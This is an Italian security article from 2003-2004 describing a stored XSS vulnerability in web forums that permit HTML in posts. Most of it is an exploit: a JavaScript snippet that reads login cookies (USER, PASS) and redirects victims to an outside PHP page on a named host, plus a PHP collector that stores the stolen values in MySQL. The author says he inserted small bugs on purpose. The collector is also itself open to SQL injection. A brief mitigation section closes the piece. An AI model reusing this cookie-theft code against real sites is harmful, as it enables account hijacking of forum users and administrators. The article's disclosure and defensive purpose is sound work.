Articoli Manifesto Tools Links Canali Libri Contatti ?
Sicurezza / Web

Vulnerabilità nei forum Web

Abstract
Questo articolo descrive una vulnerabilità che colpisce svariati forum web qualora venga reso possibile includere liberamente tags html nei post.
Per la giusta comprensione sono richieste conoscenze di JavaScript, PHP, Mysql.
Data di stesura: 08/11/2003
Data di pubblicazione: 24/05/2004
Ultima modifica: 04/04/2006
di Davide Coppola Discuti sul forum   Stampa

Vista la natura potenzialmente pericolosa, l'autore non si assume alcuna responsabilità nei confronti di chi utilizzasse queste informazioni per compiere azioni illegali ne' verso chi potrebbe essere danneggiato da terzi.

La vulnerabilità

La quasi totalità dei forum presenti nel web permette l'utilizzo da parte dell'utente di codice HTML all'interno dei post.
Solitamente la decisione di abilitare tale caratteristica viene lasciata al gestore del forum, il che significa che il più delle volte l'HTML viene disabilitato per motivi di sicurezza, ma ciò non è la regola.
Personalmente ho potuto verificare che in molti forum e in particolare in un grande sevizio di forum web nazionale si fa ampio uso dell'HTML.

Il libero utilizzo dell'HTML permette a un utente malintenzionato la possibilità di trafugare la maggior parte degli account degli utenti del forum (amministratore compreso) andando a recuperare i valori del cookie o dei cookie utilizzati per permettere il login automatico all'utente registrato.
Tali valori solitamente sono crittati, pertanto l'aggressore non è in grado di ottenere informazioni in chiaro in maniera immediata, ma può impersonare gli utenti che hanno subito la truffa e può utilizzare programmi per "crackare" le password recuperate (in genere nei forum web si utilizza MD5) in modo da ottenere sempre maggiori poteri e informazioni.

Vediamo ora come è possibile sfruttare questa vulnerabilità.

L'exploit

Per poter trafugare i cookie degli utenti abbiamo bisogno di realizzare due script: il primo, deve essere un JavaScript che viene posto all'interno di una discussione del forum e che, avviandosi al caricamento della pagina, si occupa di verificare la presenza del cookie o dei cookie contenenti le informazioni sul login per poi recuperarle e spedirle al secondo script, realizzato in PHP e che risiede su di un altro server, che deve memorizzare i valori inviati e deve reindirizzare la navigazione al forum.

Per ottenere ciò il JavaScript deve inviare oltre ai valori trafugati, anche l'url della pagina contenente la discussione, poi lo script PHP deve utilizzare l'url ottenuto con la function header per reindirizzare la pagina caricata al forum impostando il campo "Location:".
Poiché la function header scrive negli header http della pagina e visto che l'azione compiuta dallo script PHP è una semplice memorizzazione in un database, il tempo di caricamento è quasi nullo, tendente quasi alla semplice risoluzione del dominio e invio dei dati (meno di 1 Kb.), quindi, l'utente non nota niente di sospetto se non il caricamento di un host diverso da quello del forum da parte del browser (la scritta che solitamente compare in basso ai browser web "connecting... host"), ma tale avvenimento è ignorato dai più anche perché svariati forum gratuiti inseriscono pubblicità che risiedono su server remoti, quindi caricamenti eseguiti da altri server sono frequenti.

L'ultima caratteristica da implementare è un sistema che impedisca agli script di entrare in un loop infinito di invio/memorizzazione/redirect.
Per ovviare a questo problema si può utilizzare un cookie, che deve essere impostato dal JavaScript per ricordare allo stesso che i dati già sono stati trafugati in modo da non eseguire il recupero e l'invio più di una volta.

Exploit - codici

Di seguito sono riportati gli script JavaScript e PHP utilizzati per "rubare" i dati dell'utente.
I sorgenti sono alquanto semplici, però ci sono un po' di commenti da fare su di essi:
  1. Gli script per la creazione della tabella del database e per la sua consultazione non sono forniti visto che non è intenzione dell'autore fornire a eventuali malintenzionati un pacchetto completo e finito per "exploitare" il forum.
  2. Gli script presentano un paio di banali errori introdotti per il motivo spiegato nel punto 1.
    Chiunque abbia una discreta conoscenza dei linguaggi utilizzati per realizzare gli script potrà renderli facilmente funzionanti e completarli con gli script necessari.
  3. Nella mia realizzazione d'esempio ho ipotizzato che i dati da trafugare fossero contenuti in due cookie chiamati USER e PASS.
  4. L'url della pagina dove risiede il JavaScript viene modificato andando a sostituire le "&" con "--" onde evitare che la pagina PHP che gestisce la memorizzazione dei dati abbia problemi con le variabili GET.
    Logicamente nella pagina PHP si andranno a sostituire nuovamente per ripristinare l'url originale.
  5. Lo script in JavaScript deve essere inserito su di una sola riga all'interno della discussione, questo per evitare eventuali formattazioni da parte del forum web.
    Pertanto se volete testare la cosa dovete eliminare gli a capo e sostituirli con degli spazi.
  1. <script language="JavaScript"> 
  2. <!-- 
  3. function get_cookie(nome) 
  4.   //si leggono i cookie 
  5.   theCookie=""+document.cookie 
  6.   //si refcupera la posizione del cookie cercato 
  7.   ind=theCookie.indexOf(nome); 
  8.   if (ind==-1)  
  9.     return  ''; 
  10.   //si recupera la fine del cookie cercato 
  11.   ind1=theCookie.indexOf(';',ind) 
  12.   if (ind1==-1)  
  13.     ind1=theCookie.length;  
  14.   //si ritorna il valore del cookie cercato 
  15.   return theCookie.substring(ind+nome.length+1,ind1); 
  16.  
  17. function fuck_f() 
  18.   //si controlla la presenza dei cookie USER, PASS e PROMEM per evitare di 
  19.   //compiere azioni inutili 
  20.   usr=get_cookie('USER'); 
  21.   psw=get_cookie('PASS'); 
  22.   test=get_cookie('PROMEM'); 
  23.   if(usr.length<1 || psw.length<1 || test==1) 
  24.     return FALSE; 
  25.   else 
  26.     //si setta il cookie "paletto" 
  27.     document.cookie = 'PROMEM'+'='+'1';  
  28.     //si recupera l'url e gli si sostituisce la & con i -- per evitare problemi 
  29.     //col PHP 
  30.     url = '' + this.location; 
  31.     url= url.replace('&','--'); 
  32.     //si passano i valori recuperati (USER,PASS e url) alla pagina PHP 
  33.     window.location="http://www.napolihak.it/pagina.php?usr="+usr+ 
  34.       "&psw="+psw+"&url="+url'; 
  35.  
  36. onLoad=fuck_f() 
  37. // --> 
  38. </script> 
  1. <?php    
  2. //dati connessione 
  3. include("dati_db.inc.php"); 
  4.  
  5. //connessione al db 
  6. $conn=@mysql_connect($dati_conn['host'],$dati_conn['login'], 
  7.   $dati_conn['passwd']) 
  8.  
  9. //selezione db 
  10. @mysql_select_db($dati_conn['db']); 
  11.  
  12. //recupero url originale 
  13. $url=str_replace("--","&",$_GET['url']); 
  14.  
  15. //inserimento nella tabella 
  16. @mysql_query("INSERT INTO account VALUES(".$_GET['usr']."','". 
  17.   $_GET['psw']."','$url',NOW())");  
  18. //ciusura connessione 
  19. @mysql_close($conn); 
  20.  
  21. //ritorno al forum 
  22. Header("Location: $url"); 
  23. ?> 

Soluzioni

Sinceramente vieterei l'inserimento dell'HTML da parte dell'utente in ogni applicazione web, nel caso non se ne possa fare proprio a meno sarebbe consigliabile evitare almeno quelle caratteristiche che lo rendono sfruttabile da malintenzionati, andando ad esempio a non permettere TAG come "SCRIPT" o "A" oppure a limitare tutti i metodi dei vari script che permettono il recupero o l'invio di informazioni dell'utente o che permettono in qualche modo di spostarsi dalla pagina, ma sinceramente non credo valga la pena adoperarsi tanto per certe cose, dopotutto si possono realizzare ottimi forum anche consentendo l'utilizzo di meta-HTML come i vari codici messi a disposizione dai forum per inserire immagini, url, ecc ...
Logicamente anche per quelli è necessaria una certa attenzione implementativa, ma come sempre, la sicurezza è nelle mani di amministratori/creatori delle risorse.

M3xican

Informazioni sull'autore

Davide Coppola, studente di informatica alla Federico II di Napoli, appassionato di programmazione, sicurezza e linux. Fondatore e sviluppatore di dev-labs e di Mars Land of No Mercy. Per maggiori informazioni e contatti potete visitare la sua home page.

È possibile consultare l'elenco degli articoli scritti da Davide Coppola.

Altri articoli sul tema Sicurezza / Web.

Discuti sul forum   Stampa

Cosa ne pensi di questo articolo?

Discussioni

Questo articolo o l'argomento ti ha interessato? Parliamone.